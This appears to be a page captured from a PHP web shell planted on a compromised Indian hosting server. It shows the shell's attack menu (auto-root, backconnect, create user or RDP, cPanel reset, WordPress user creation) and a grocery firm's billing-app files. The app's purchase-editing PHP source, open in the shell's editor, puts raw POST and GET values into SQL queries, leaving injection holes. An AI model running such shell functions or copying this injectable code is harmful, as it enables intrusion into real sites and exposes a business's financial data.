Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.217.79
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
orangegroceries /
public_html /
billing /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
1add-new-item.php
17.03
KB
-rw-r--r--
add-delivery-challan.php
10.46
KB
-rw-r--r--
add-estimate.php
23.75
KB
-rw-r--r--
add-expences-category.php
6.73
KB
-rw-r--r--
add-expences-item.php
10.97
KB
-rw-r--r--
add-expences.php
16.81
KB
-rw-r--r--
add-items.csv
28
B
-rw-r--r--
add-new-item.php
18.64
KB
-rw-r--r--
add-new-party.php
10.54
KB
-rw-r--r--
add-new-return.php
21.23
KB
-rw-r--r--
add-new-sale.php
9.53
KB
-rw-r--r--
add-new-vendor.php
10.08
KB
-rw-r--r--
add-parties.csv
38
B
-rw-r--r--
add-party.csv
28
B
-rw-r--r--
add-payment-due.php
11.23
KB
-rw-r--r--
add-payment-in.php
10.74
KB
-rw-r--r--
add-payment-out.php
8.78
KB
-rw-r--r--
add-purchase-detail.php
34.35
KB
-rw-r--r--
add-purchase-order.php
24.45
KB
-rw-r--r--
add-purchase-return.php
21.25
KB
-rw-r--r--
add-sale-detail.php
35.3
KB
-rw-r--r--
add-sale-order.php
10.22
KB
-rw-r--r--
ajax_add_item.php
785
B
-rw-r--r--
ajax_get_item.php
1.03
KB
-rw-r--r--
ajax_get_item1.php
284
B
-rw-r--r--
ajax_get_tax.php
872
B
-rw-r--r--
all-expences.php
4.89
KB
-rw-r--r--
all-item.php
33.57
KB
-rw-r--r--
all-parties.php
5.48
KB
-rw-r--r--
all-party.php
21.53
KB
-rw-r--r--
all-purchase-list.php
8.28
KB
-rw-r--r--
all-purchase-order.php
12.82
KB
-rw-r--r--
all-sale-invoice.php
30.85
KB
-rw-r--r--
all-sale-list.php
6.47
KB
-rw-r--r--
all-sale-order.php
15.67
KB
-rw-r--r--
all-transactions.php
7.73
KB
-rw-r--r--
all-vendor.php
20.5
KB
-rw-r--r--
balance-sheet.php
22.25
KB
-rw-r--r--
bank-statement.php
4.89
KB
-rw-r--r--
bank-transaction.php
4.97
KB
-rw-r--r--
bill-wise-profits.php
8.73
KB
-rw-r--r--
cash-flow.php
10.94
KB
-rw-r--r--
cash-transaction.php
4.46
KB
-rw-r--r--
convert-purchase-order-detail....
17.64
KB
-rw-r--r--
dashboard.php
117.9
KB
-rw-r--r--
day-book.php
3.78
KB
-rw-r--r--
day_book.php
7.87
KB
-rw-r--r--
delete_delivery_challan.php
288
B
-rw-r--r--
delete_estimate.php
267
B
-rw-r--r--
delete_expct.php
279
B
-rw-r--r--
delete_expences.php
263
B
-rw-r--r--
delete_expitm.php
277
B
-rw-r--r--
delete_item.php
264
B
-rw-r--r--
delete_party.php
258
B
-rw-r--r--
delete_paymin.php
269
B
-rw-r--r--
delete_paymout.php
274
B
-rw-r--r--
delete_primery_unit.php
265
B
-rw-r--r--
delete_purchase.php
270
B
-rw-r--r--
delete_purchase_order.php
284
B
-rw-r--r--
delete_purchase_return.php
281
B
-rw-r--r--
delete_return.php
260
B
-rw-r--r--
delete_sales.php
266
B
-rw-r--r--
delete_sales_item.php
181
B
-rw-r--r--
delete_secd_unit.php
270
B
-rw-r--r--
delete_taxrate.php
257
B
-rw-r--r--
delete_vendor.php
258
B
-rw-r--r--
delivery-challan.php
11.48
KB
-rw-r--r--
discount-report.php
4.81
KB
-rw-r--r--
edit-delivery-challan.php
22.32
KB
-rw-r--r--
edit-estimate.php
22.26
KB
-rw-r--r--
edit-expences-detail.php
19.06
KB
-rw-r--r--
edit-firm.php
7.62
KB
-rw-r--r--
edit-new-return.php
23.71
KB
-rw-r--r--
edit-payment-out.php
6.23
KB
-rw-r--r--
edit-purchase-detail.php
36.19
KB
-rw-r--r--
edit-purchase-order-detail.php
17.66
KB
-rw-r--r--
edit-purchase-return.php
23.69
KB
-rw-r--r--
edit-purchase-return1.php
10.56
KB
-rw-r--r--
edit-sale-detail.php
21.84
KB
-rw-r--r--
edit-sale-order-detail.php
17.72
KB
-rw-r--r--
edit-sale-order.php
10.39
KB
-rw-r--r--
edit_expct.php
293
B
-rw-r--r--
edit_expitm.php
291
B
-rw-r--r--
edit_item.php
616
B
-rw-r--r--
edit_party.php
284
B
-rw-r--r--
edit_paymtin.php
295
B
-rw-r--r--
edit_paymtout.php
299
B
-rw-r--r--
edit_primery_unit.php
288
B
-rw-r--r--
edit_secd_unit.php
290
B
-rw-r--r--
edit_taxrate.php
284
B
-rw-r--r--
edit_vendor.php
284
B
-rw-r--r--
estimate.php
15.65
KB
-rw-r--r--
expense-category-report.php
4.66
KB
-rw-r--r--
expense-item-report.php
5.04
KB
-rw-r--r--
expense-transaction.php
5.6
KB
-rw-r--r--
fetch_orders.php
1.87
KB
-rw-r--r--
fetch_profit_report.php
2.15
KB
-rw-r--r--
fetch_purchase_data.php
2.74
KB
-rw-r--r--
fetch_transactions.php
5.04
KB
-rw-r--r--
fixed-assets-transaction-summa...
6.73
KB
-rw-r--r--
form-number-27EQ.php
4.87
KB
-rw-r--r--
get_balance.php
631
B
-rw-r--r--
get_conversion_rate.php
570
B
-rw-r--r--
get_due_amt.php
654
B
-rw-r--r--
get_due_amt1.php
1.14
KB
-rw-r--r--
get_gst_price.php
503
B
-rw-r--r--
get_item_expences.php
290
B
-rw-r--r--
get_qty.php
793
B
-rw-r--r--
get_unit_price.php
2.17
KB
-rw-r--r--
get_unit_price1.php
441
B
-rw-r--r--
gst-rate-report.php
5.25
KB
-rw-r--r--
gst-report.php
4.99
KB
-rw-r--r--
home.php
1.58
KB
-rw-r--r--
import-item.php
6.11
KB
-rw-r--r--
import-parties.php
5.88
KB
-rw-r--r--
index.php
19.06
KB
-rw-r--r--
invoice-estimate-detail.php
57.5
KB
-rw-r--r--
invoice-sale-detail.php
30.75
KB
-rw-r--r--
invoice.php
30.14
KB
-rw-r--r--
item-detail.php
4.75
KB
-rw-r--r--
item-report-by-party.php
5.74
KB
-rw-r--r--
item-wise-profit-lose.php
6.4
KB
-rw-r--r--
itemwise-discount.php
5.98
KB
-rw-r--r--
logout.php
128
B
-rw-r--r--
low-stock-summary.php
4.31
KB
-rw-r--r--
manage-stocks.php
5.04
KB
-rw-r--r--
other-assets-transaction-summa...
7.18
KB
-rw-r--r--
parties-report-by-item.php
6.68
KB
-rw-r--r--
party-statement.php
24.88
KB
-rw-r--r--
party-wise-profit-lose.php
5.42
KB
-rw-r--r--
payment-in.php
21.54
KB
-rw-r--r--
payment-out.php
21.76
KB
-rw-r--r--
primery-units.php
7.97
KB
-rw-r--r--
purchase-return.php
13.37
KB
-rw-r--r--
return.php
13.06
KB
-rw-r--r--
sale-or-purchase-report-by-ite...
4.78
KB
-rw-r--r--
sale-order-item.php
5.48
KB
-rw-r--r--
sale-orders.php
5.95
KB
-rw-r--r--
sale-purchase-by-party-group.p...
4.26
KB
-rw-r--r--
sale-purchase-by-party.php
4.98
KB
-rw-r--r--
secondary-units.php
7.95
KB
-rw-r--r--
sidebar.php
13.08
KB
-rw-r--r--
stock-detail.php
6.22
KB
-rw-r--r--
stock-summary-report-by-item-c...
3.04
KB
-rw-r--r--
stock-summary.php
5.27
KB
-rw-r--r--
tax-rate.php
7.05
KB
-rw-r--r--
tcs-receivable.php
4.86
KB
-rw-r--r--
tds-payable.php
5.09
KB
-rw-r--r--
tds-receivable.php
5.1
KB
-rw-r--r--
trial-balance-report.php
25.47
KB
-rw-r--r--
update_items.php
3.13
KB
-rw-r--r--
update_vendor.php
2.36
KB
-rw-r--r--
view-all-party-transaction-det...
5.64
KB
-rw-r--r--
view-balance-details.php
5.93
KB
-rw-r--r--
view-purchase-detail.php
10.26
KB
-rw-r--r--
view-purchase-order-detail.php
8.29
KB
-rw-r--r--
view-sale-detail.php
9.19
KB
-rw-r--r--
view_item.php
485
B
-rw-r--r--
view_party.php
284
B
-rw-r--r--
view_vendor.php
285
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit-purchase-detail.php
<?php include("includes/db_config.php"); if (isset($_POST['psubmit'])) { date_default_timezone_set('Asia/Kolkata'); $datetime = date('Y-m-d H:i:s'); $id = $_POST['id']; $customer_id = $_POST['customer_id']; $bill_no = $_POST['bill_no']; $bill_date = $_POST['bill_date']; $total_amt = $_POST['total_amt']; $received_amount = $_POST['received_amount']; $balance = $_POST['balance']; $desp = $_POST['desp']; $reference_no = $_POST['reference_no']; $payment_by = $_POST['payment_by']; // Begin transaction for data consistency mysqli_begin_transaction($conn); try { // Update main purchase record $updateQuery = "UPDATE tbl_ah_items SET customer_id = '$customer_id', bill_no = '$bill_no', bill_date = '$bill_date', total_amt = '$total_amt', received_amount = '$received_amount', balance = '$balance', desp = '$desp', reference_no = '$reference_no', payment_by = '$payment_by' WHERE id = '$id'"; mysqli_query($conn, $updateQuery); // Update party balance $sql_fetch = "SELECT opening_balance FROM ah_party WHERE id = '$customer_id'"; $result = mysqli_query($conn, $sql_fetch); if ($result && mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); $current_balance = floatval($row['opening_balance']); $new_balance = $current_balance + $balance; $sqlpartyupdate = "UPDATE ah_party SET opening_balance = '$new_balance' WHERE id = '$customer_id'"; mysqli_query($conn, $sqlpartyupdate); } // Handle items if (!empty($_POST["item_name"])) { for ($i = 0; $i < count($_POST["item_name"]); $i++) { $item_name = mysqli_real_escape_string($conn, $_POST['item_name'][$i]); $new_qty = (int) $_POST['qty'][$i]; // New quantity from form $unit = mysqli_real_escape_string($conn, $_POST['unit'][$i]); $unit_amt = mysqli_real_escape_string($conn, $_POST['unit_amt'][$i]); $discount = mysqli_real_escape_string($conn, $_POST['discount'][$i]); $tax_rate = mysqli_real_escape_string($conn, $_POST['tax_rate'][$i]); $ttl_amt = mysqli_real_escape_string($conn, $_POST['ttl_amt'][$i]); // Fetch previous quantity $prevQtyQuery = "SELECT quantity FROM ah_purchase_item_details WHERE sale_id = '$id' AND item_name = '$item_name'"; $prevQtyResult = mysqli_query($conn, $prevQtyQuery); $prevQty = ($prevQtyResult && mysqli_num_rows($prevQtyResult) > 0) ? (int) mysqli_fetch_assoc($prevQtyResult)['quantity'] : 0; // Calculate difference in quantity if ($new_qty == $prevQty) { $qtyDifference = $new_qty; }elseif($new_qty > $prevQty){ $qtyDifference = $new_qty - $prevQty; } if ($prevQtyResult && mysqli_num_rows($prevQtyResult) > 0) { // Update existing purchase item details $sqlUpdateItem = "UPDATE ah_purchase_item_details SET quantity = '$new_qty', unit = '$unit', price_unit = '$unit_amt', discount = '$discount', tax_rate = '$tax_rate', amount = '$ttl_amt' WHERE sale_id = '$id' AND item_name = '$item_name'"; mysqli_query($conn, $sqlUpdateItem); } else { // Insert new item $sqlInsertItem = "INSERT INTO ah_purchase_item_details (sale_id, item_name, quantity, unit, price_unit, discount, tax_rate, amount) VALUES ('$id', '$item_name', '$new_qty', '$unit', '$unit_amt', '$discount', '$tax_rate', '$ttl_amt')"; mysqli_query($conn, $sqlInsertItem); } // Update item details $sqlupdate = "UPDATE ah_item_details SET purchase_price = '$unit_amt', tax_rate = '$tax_rate', created_date = NOW() WHERE id = '$item_name'"; mysqli_query($conn, $sqlupdate) or die(mysqli_error($conn)); // Update item tracking stock $checkTrackingQuery = "SELECT opening_stock FROM ah_item_tracking_details WHERE item_id = '$item_name'"; $result = mysqli_query($conn, $checkTrackingQuery); if ($result && mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); $existing_stock = (int) $row['opening_stock']; $updated_stock = $existing_stock + $qtyDifference; // Adjust stock $update_item = "UPDATE ah_item_tracking_details SET opening_stock = '$updated_stock', min_stock_quatity = '$updated_stock', at_price_unit = '$unit_amt', item_date = NOW() WHERE item_id = '$item_name'"; mysqli_query($conn, $update_item); } else { // Insert new stock record if item tracking does not exist $insert_tracking = "INSERT INTO ah_item_tracking_details (item_id, opening_stock, min_stock_quatity, at_price_unit, item_date) VALUES ('$item_name', '$new_qty', '$new_qty', '$unit_amt', NOW())"; mysqli_query($conn, $insert_tracking); } } } // Commit the transaction mysqli_commit($conn); echo "<script>location.replace('all-purchase-list.php');</script>"; } catch (Exception $e) { // Rollback on error mysqli_rollback($conn); echo "Error: " . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="en" dir="ltr" data-theme="light"> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/css/select2.min.css" rel="stylesheet" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.min.js"></script> <?php include("includes/css.php");?> <style>.table tbody tr td:nth-child(even){background-color: var(--bs-table-bg);} .modal-body .form-label { font-weight: 600; } .viewptdt .form-label { font-weight: 600; } .viewptdt label { margin-top: 10px; } .form-check-input { background-color: var(--bs-bg-level-1); border: 1px solid #6163f8; } .form-switch .form-check-input { margin-left: -2em; margin-right: 5px; } .tbladdt .form-control { background-color: #fff !important; padding: 8px 0.2rem !important; min-width: 45px !important; } .select2-container--default .select2-selection--single .select2-selection__rendered { width: 158px!important;line-height: 17px; } .select2-container--default .select2-selection--single .select2-selection__clear { margin-top: 10px; margin-right: -20px; } .select2-container .select2-selection--single { height: 38px; }.select2-container--default .select2-selection--single .select2-selection__placeholder { color: #999; line-height: 28px; font-size: 12px; color: var(--bs-text-level-3); } .select2-container { margin-top: -30px; } .customer_records .select2-container{ margin-top: 0px!important; } .customer_records .select2-container:nth-child(1) { margin-top: 0px!important; } .remove td:nth-child(1){width:30px;}.btn-remove-customer{margin-top: -32px;position: absolute;padding:5px!important;;color:#fff;background-color:red!important;;border-radius: 2px!important;} </style> </head> <body class="preload-active aside-active aside-mobile-minimized aside-desktop-maximized"> <div class="holder"> <?php include("includes/sidebar.php");?> <div class="wrapper"> <?php include("includes/header.php");?> <div class="content"> <div class="container-fluid g-5"> <form action="" method="post" enctype="multipart/form-data"> <div class="row"> <div class="col-12"> <div class="portlet"> <div class="row portlet-header portlet-header-bordered"> <h3 class="portlet-title">Edit Purchase Details</h3> </div> </div> <div class="portlet-body"> <div class="row"> <?php $idd=$_GET['id']; $sql="select * from tbl_ah_items where type = 'Purchase' AND id='".$idd."'"; $result = mysqli_query($conn, $sql); $res= mysqli_fetch_array($result); $cid=$res['customer_id']; $sqlpt=mysqli_query($conn,"SELECT * from ah_party where type = 'Purchase' AND id='".$cid."'"); $restpy=mysqli_fetch_array($sqlpt); ?> <div class="col-md-4 mb-2"> <label class="form-label">Party Name </label> <select class="form-control" name="customer_id" id="customer_id" required> <option value="">Select Customer Name</option> <?php $sqlct=mysqli_query($conn,"select * from ah_party WHERE type = 'Purchase' "); while($resct= mysqli_fetch_array($sqlct)){ ?> <option value="<?= $resct['id'];?>" <?= ($resct['id'] == $restpy['id']) ? "selected" : ""; ?>><?= $resct['party_name'];?></option> <?php } ?> </select><br/><center><b>Balance: <span id="getbalance"><?= $restpy['opening_balance']; ?></span></b></center> </div> <div class="col-md-2 mb-2"> <label class="form-label">Phone Number</label> <input type="tel" name="party_phone_no" value="<?= $restpy['party_phone_no']; ?>" placeholder="Enter Phone Number" id="party_phone_no" class="form-control"> </div> <div class="col-md-2 mb-2"></div> <div class="col-md-2 mb-2"> <label class="form-label">Bill Number</label> <input type="text" name="bill_no" value="<?= $res['bill_no'];?>" placeholder="Enter Bill Number" class="form-control"> <input type="hidden" value="<?= $res['id'];?>" name="id" class="form-control"> </div> <div class="col-md-2 mb-2"> <label class="form-label">Bill Date</label> <input type="text" name="bill_date" value="<?= $res['bill_date'];?>" placeholder="" class="form-control"> <br/> <label class="form-label">State Of Supply</label> <select type="text" name="gst_state" id="gst_state" placeholder="" class="form-control"> <option value="">Select</option> <option value="Telangana" <?php echo ($restpy['gst_state'] == "Telangana") ? "selected": ""; ?>>Telangana</option> <option value="Hyderabad" <?php echo ($restpy['gst_state'] == "Hyderabad") ? "selected": ""; ?>>Hyderabad</option> </select><br/> </div> </div> <div class="row table-responsive"> <table class="table table-bordered table-striped tbladdt"> <thead> <tr> <th style="text-align:center;" rowspan="2">#</th> <th style="text-align:center;" rowspan="2">Item Name</th> <th style="text-align:center;" rowspan="2">Qty.</th> <th style="text-align:center;" rowspan="2">Unit</th> <th style="text-align:center;">Price/Unit</th> <th style="text-align:center;" colspan="2">Discount</th> <th style="text-align:center;" colspan="2">Tax</th> <th style="text-align:center;" rowspan="2">Amount</th> </tr> <tr> <th><select class="form-control"> <option>WithTax</option> <option>WithoutTax</option> </select> </th> <th>%</th> <th>Amount</th> <th>Amount</th> <th>%</th> </tr> </thead> <tbody> <?php $sid=$res['id']; $i=0; $i++; $sqlsl=mysqli_query($conn,"select ads.*,ait.total_amt,ait.bill_no,ait.desp,ait.received_amount from ah_purchase_item_details ads join tbl_ah_items ait on ads.sale_id=ait.id where ads.sale_id='".$sid."' AND ait.type = 'Purchase' "); while ($resl= mysqli_fetch_array($sqlsl)) { $slid = $resl['unit']; $tid=$resl['tax_rate']; $dis=$resl['discount']; $sqlfts=mysqli_fetch_array(mysqli_query($conn,"select * from primery_unit where id='".$slid."'")); $sqlts=mysqli_fetch_array(mysqli_query($conn,"select * from tax_rate where id='".$tid."'")); $sqlitem=mysqli_fetch_array(mysqli_query($conn,"select * from ah_item_details where id='".$resl['item_name']."'")); $tax=$sqlts['tax_gst']; $prc=$resl['price_unit'] * $resl['quantity']; $dis_pre = ($prc * ($dis / 100)); $dis_price = $prc - $dis_pre; $tax_rate=filter_var($tax, FILTER_SANITIZE_NUMBER_INT); $taxtd=$dis_price*$tax_rate/100; ?> <tr class="customer_records"> <td><?= $i ?></td> <td> <select class="form-control it_id select2 item-dropdown" name="item_name[]" id="item_name"> <option value="">Select Item Name</option> <?php $sqldt=mysqli_query($conn,"SELECT * from ah_item_details"); while($resdt=mysqli_fetch_array($sqldt)){ ?> <option value="<?= $resdt['id'];?>" <?= ($resdt['id'] == $sqlitem['id']) ? "selected" : ""; ?> ><?= $resdt['item_name'];?></option> <?php } ?> </select> </td> <td> <input type="text" name="qty[]" id="qty" class="form-control qty" class="form-control" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2" value="<?= $resl['quantity'];?>"></td> <td> <select class="form-control" name="unit[]" id="utid"> <option value="">Select</option> <?php $sqlpr=mysqli_query($conn,"SELECT * from primery_unit"); while($respr=mysqli_fetch_array($sqlpr)){ ?> <option value="<?= $respr['id'];?>" <?= ($respr['id'] == $resl['unit']) ? "selected" : ""; ?>><?= $respr['unit'];?></option><?php } ?> </select> </td> <td><input type="text" name="unit_amt[]" value="<?= $resl['price_unit'];?>" id="unit_amt" class="form-control unit_amt" class="form-control unit_amt" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2"></td> <td><input type="text" name="discount[]" value="<?= $resl['discount'];?>" id="discount" class="form-control discount" class="form-control" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2"></td> <td><input type="text" name="amount[]" value="<?= $dis_pre;?>" id="amount" class="form-control amount" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2"></td> <td> <select class="form-control tax_gsts" name="tax_rate[]" id="tax_gst"> <option value="">Select</option> <?php $sql2="SELECT * from tax_rate"; $exe2=mysqli_query($conn,$sql2); while($res2=mysqli_fetch_array($exe2)){ ?> <option value="<?= $res2['id'];?>" <?= ($res2['id'] == $sqlts['id']) ? "selected" : ""; ?> data-wd="<?= $res2['tax_gst']; ?>"><?= $res2['tax_gst'];?></option> <?php } ?> </select> </td> <td><input type="text" id="ds_amt" name="ds_amt[]" class="form-control ds_amt" class="form-control" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2" value="<?= $tax_rate;?>" ></td> <td><input type="text" id="ttl_amt" name="ttl_amt[]" class="form-control ttl_amt" class="form-control" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2" value="<?= $resl['amount'];?>"></td> <input type="hidden" name="httl_amt[]" id="httl_amt" class="form-control httl_amt"class="form-control" style="border:1px solid #e7e2e2;border-bottom:1px solid #e7e2e2" ></td> </tr> <tr> <th colspan="11" style="border: 0px;"> <div class="customer_records_dynamic" style="width:100%"></div> </th> </tr> <?php } ?> </tbody> <tfoot> <tr> <td colspan="2"><span class="btn btn-warning extra-fields-customer">Add Row</span></td> <td colspan="5"><strong>Total:</strong> </td> <td class="text-center"> <input type="text" value="" class="form-control" style="border:0px solid #ccc;border-bottom:1px solid #ccc" readonly></td> <td colspan="3" class="text-center"><input type="text" name="total_amt" id="total_amt" class="form-control total_amt" style="border:0px solid #ccc;border-bottom:1px solid #ccc" readonly></td> </tr> </tfoot> </table> </div> </div> </div> </div> <div class="row"> <div class="mb-1 col-md-4"><h6 style="margin-top:5px;"><strong>Payment By:</strong></h6> <select class="form-control" name="payment_by" id="payment_by"> <option value="Cash">Cash</option> <option value="Cheque">Cheque</option> <option value="Credit">Credit</option> </select> <br/> <!-- Reference No. Field (Initially Hidden) --> <div id="reference_field" style="display: none;"> <label>Reference No.</label> <input type="text" class="form-control" id="reference_no" name="reference_no"> <br/> </div> </div> <div class="mb-1 col-md-4"></div> <div class="mb-1 col-md-4 ttl-cls"><strong>Total : </strong><input type="text" name="total_amt" value="<?= $res['total_amt'];?>" id="stotal_amts" class="form-control stotal_amts" style="border:0px solid #ccc;border-bottom:1px solid #ccc"><strong>Paid : </strong><input type="text" name="received_amount" id="received_amount" class="form-control received_amount" value="<?= $res['received_amount'];?>" style="border:0px solid #ccc;border-bottom:1px solid #ccc"><strong>Balance : </strong><input type="text" name="balance" value="<?= $res['balance'];?>" id="balance" class="form-control stotal_amts" style="border:0px solid #ccc;border-bottom:1px solid #ccc"><div style=""></div></div> </div> <div class="row"> <div class="mb-1 col-md-4"> <h6 style="margin-top:5px;"><strong>Upload Images:</strong></h6> <input class="form-control" type="file" name="item_img"></div> <div class="mb-1 col-md-4"></div> </div> <div class="row"> <div class="mb-1 col-md-4"><h6 style="margin-top:5px;"><strong>Add Description:</strong></h6><br/> <textarea class="form-control" name="desp" rows="1"> </textarea> </div> <div class="mb-1 col-md-4"></div> </div> <div class="row"> <div class="mb-1 col-md-9"></div> <div class="mb-1 mt-2 col-md-3"> <button class="btn btn-primary btn-lg mb-3" name="psubmit" type="submit"> Update</button> </div> </div> </form> </div> <?php include("includes/footer.php");?> </div> </div> <?php include("includes/js.php");?> <script type="text/javascript"> $(document).ready(function () { $(".select2").select2({ tags: true, // Enable new tag adding placeholder: "Select or Add Item", allowClear: true, ajax: { url: 'ajax_get_item1.php', type: "POST", dataType: 'json', delay: 250, data: function(params) { return { query: params.term }; // Send search query to PHP }, processResults: function(data) { return { results: $.map(data, function(item) { return { id: item.id, text: item.text }; }) }; } }, createTag: function(params) { return { id: params.term, text: params.term, newTag: true }; } }); // Handle adding new item to database when it's not found $('.select2').on('select2:select', function(e) { var data = e.params.data; if (data.newTag) { $.ajax({ url: 'ajax_add_item.php', type: 'POST', data: { item_name: data.id }, success: function(response) { var newItem = JSON.parse(response); var newOption = new Option(newItem.text, newItem.id, true, true); $('.select2').append(newOption).trigger('change'); } }); } }); var i = 1; // Start row counter // Add new row dynamically $(document).on('click', '.extra-fields-customer', function () { i++; var newRow = ` <tr id="row${i}" class="customer_records"> <td class="row-count">${i}.</td> <td> <select class="form-control it_id select2data item-dropdown" name="item_name[]"> <option value="">Select or Add Item</option> </select> </td> <td><input type="text" name="qty[]" value="1" class="form-control qty"></td> <td> <select class="form-control" name="unit[]"> <option value="">Select</option> <?php $sqlpr = mysqli_query($conn, "SELECT * FROM primery_unit"); while($respr = mysqli_fetch_array($sqlpr)) { ?> <option value="<?= $respr['id']; ?>"><?= $respr['unit']; ?></option> <?php } ?> </select> </td> <td><input type="text" name="unit_amt[]" class="form-control unit_amt"></td> <td><input type="text" name="discount[]" class="form-control discount"></td> <td><input type="text" name="amount[]" class="form-control amount"></td> <td> <select class="form-control tax_gsts" name="tax_rate[]"> <option value="">Select</option> <?php $sql2 = mysqli_query($conn, "SELECT * FROM tax_rate"); while($res2 = mysqli_fetch_array($sql2)) { ?> <option value="<?= $res2['id']; ?>" data-wd="<?= $res2['tax_gst']; ?>"><?= $res2['tax_gst']; ?></option> <?php } ?> </select> </td> <td><input type="text" name="ds_amt[]" class="form-control ds_amt" id="ds_amt"></td> <td><input type="text" name="ttl_amt[]" class="form-control ttl_amt" id="ttl_amt"></td> <td> <button type="button" id="${i}" class="btn btn-danger btn_remove">X</button> </td> </tr>`; $('.customer_records_dynamic').append(newRow); initializeSelect2(`#row${i} .select2data`); updateTotal(); }); // Remove row dynamically $(document).on('click', '.btn_remove', function () { var button_id = $(this).attr("id"); $('#row' + button_id).remove(); updateRowNumbers(); updateTotal(); }); // Initialize Select2 with AJAX function initializeSelect2(selector) { $(selector).select2({ tags: true, placeholder: "Select or Add Item", allowClear: true, ajax: { url: 'ajax_get_item1.php', type: "POST", dataType: 'json', delay: 250, data: function (params) { return { query: params.term }; }, processResults: function (data) { return { results: $.map(data, function (item) { return { id: item.id, text: item.text }; }) }; } }, createTag: function (params) { return { id: params.term, text: params.term, newTag: true }; } }).on('select2:select', function (e) { var data = e.params.data; if (data.newTag) { $.ajax({ url: 'ajax_add_item.php', type: 'POST', data: { item_name: data.id }, success: function (response) { var newItem = JSON.parse(response); var newOption = new Option(newItem.text, newItem.id, true, true); $(selector).append(newOption).trigger('change'); } }); } }); } // Fetch unit options from PHP function getUnitOptions() { var options = ''; $.ajax({ url: 'ajax_get_unit.php', type: 'GET', async: false, success: function (response) { options = response; } }); return options; } // Fetch tax rate options from PHP function getTaxOptions() { var options = ''; $.ajax({ url: 'ajax_get_tax.php', type: 'GET', async: false, success: function (response) { options = response; } }); return options; } $(document).on("change", ".tax_gsts", function () { var row = $(this).closest("tr"); var price = parseFloat(row.find(".unit_amt").val()) || 0; var qty = parseFloat(row.find(".qty").val()) || 1; var discount = parseFloat(row.find(".discount").val()) || 0; var total = price * qty; var disamt = (total * (discount / 100)); var finalTotal = total - disamt; $.ajax({ type: 'POST', url: 'get_gst_price.php', data: { gst_id: $(this).val(), price: finalTotal }, dataType: 'json', success:function(data){ console.log(data); row.find('#ttl_amt').val(data.total); row.find('#ds_amt').val(data.taxs); updateTotal(); }, error:function(){} }); }); // Calculate row totals dynamically $(document).on("keyup change", ".qty, .unit_amt, .discount", function () { var row = $(this).closest("tr"); var price = parseFloat(row.find(".unit_amt").val()) || 0; var qty = parseFloat(row.find(".qty").val()) || 1; var discount = parseFloat(row.find(".discount").val()) || 0; var total = price * qty; var disamt = (total * (discount / 100)); var finalTotal = total - disamt; /*row.find(".ttl_amt").val(finalTotal.toFixed(2));*/ row.find(".ttl_amt").val(isNaN(finalTotal) ? "" : finalTotal); row.find(".httl_amt").val(isNaN(finalTotal) ? "" : finalTotal); row.find(".amount").val(isNaN(disamt) ? "" : disamt); updateTotal(); }); // Update total amounts function updateTotal() { var totalAmount = 0; $(".ttl_amt").each(function () { totalAmount += parseFloat($(this).val()) || 0; }); $("#total_amt, #total_amts, #stotal_amts").val(totalAmount.toFixed(2)); $("#total_items").text($(".customer_records tr").length); } // Update row numbering after deletion function updateRowNumbers() { $(".customer_records tr").each(function (index) { $(this).find(".row-count").text((index + 1) + "."); }); } // Tax calculation based on selection // Handle received amount & balance calculation /*$(document).on("keyup", ".received_amount", function () { var received_amount = parseFloat($(this).val()) || 0; var total_amt = parseFloat($("#total_amt").val()) || 0; var balance = total_amt - received_amount; $("#balance").val(balance.toFixed(2)); });*/ $("#received_amount").on("input", function() { let total = parseFloat($("#stotal_amts").val()) || 0; let paid = parseFloat($(this).val()) || 0; // Restrict input if paid amount exceeds total if (paid > total) { $(this).val(total); } // Update balance $("#balance").val((total - parseFloat($(this).val())).toFixed(2)); }); // Submit form via AJAX $('#submit').click(function () { $.ajax({ url: "add-product.php", method: "POST", data: $('#add_name').serialize(), success: function (data) { alert(data); $('#add_name')[0].reset(); $('.customer_records_dynamic').empty(); // Clears previous rows after submission i = 1; // Reset row counter updateTotal(); } }); }); $(document).on("change", "#customer_id", function () { var customerId = $(this).val(); if (customerId) { $.ajax({ type: 'POST', url: 'get_balance.php', data: { customer_id: customerId }, dataType: 'json', success: function (response) { if (response && response.balance !== undefined) { $('#getbalance').html(response.balance.toFixed(2)); // Show balance with 2 decimal places $('#party_phone_no').val(response.party_phone_no); // Show the hidden fields when data is available $("#hideBalance").show(); $("#hidePhone").show(); } else { $('#getbalance').html("0.00"); // Default if no data is found $('#party_phone_no').val(""); // Hide fields if no data $("#hideBalance").hide(); $("#hidePhone").hide(); } }, error: function () { $('#getbalance').html("Error fetching balance"); // Handle AJAX errors $("#hideBalance").hide(); $("#hidePhone").hide(); } }); } else { // Hide fields if no customer is selected $("#hideBalance").hide(); $("#hidePhone").hide(); $('#getbalance').html("0.00"); $('#party_phone_no').val(""); } }); }); </script> </body> </html>
Close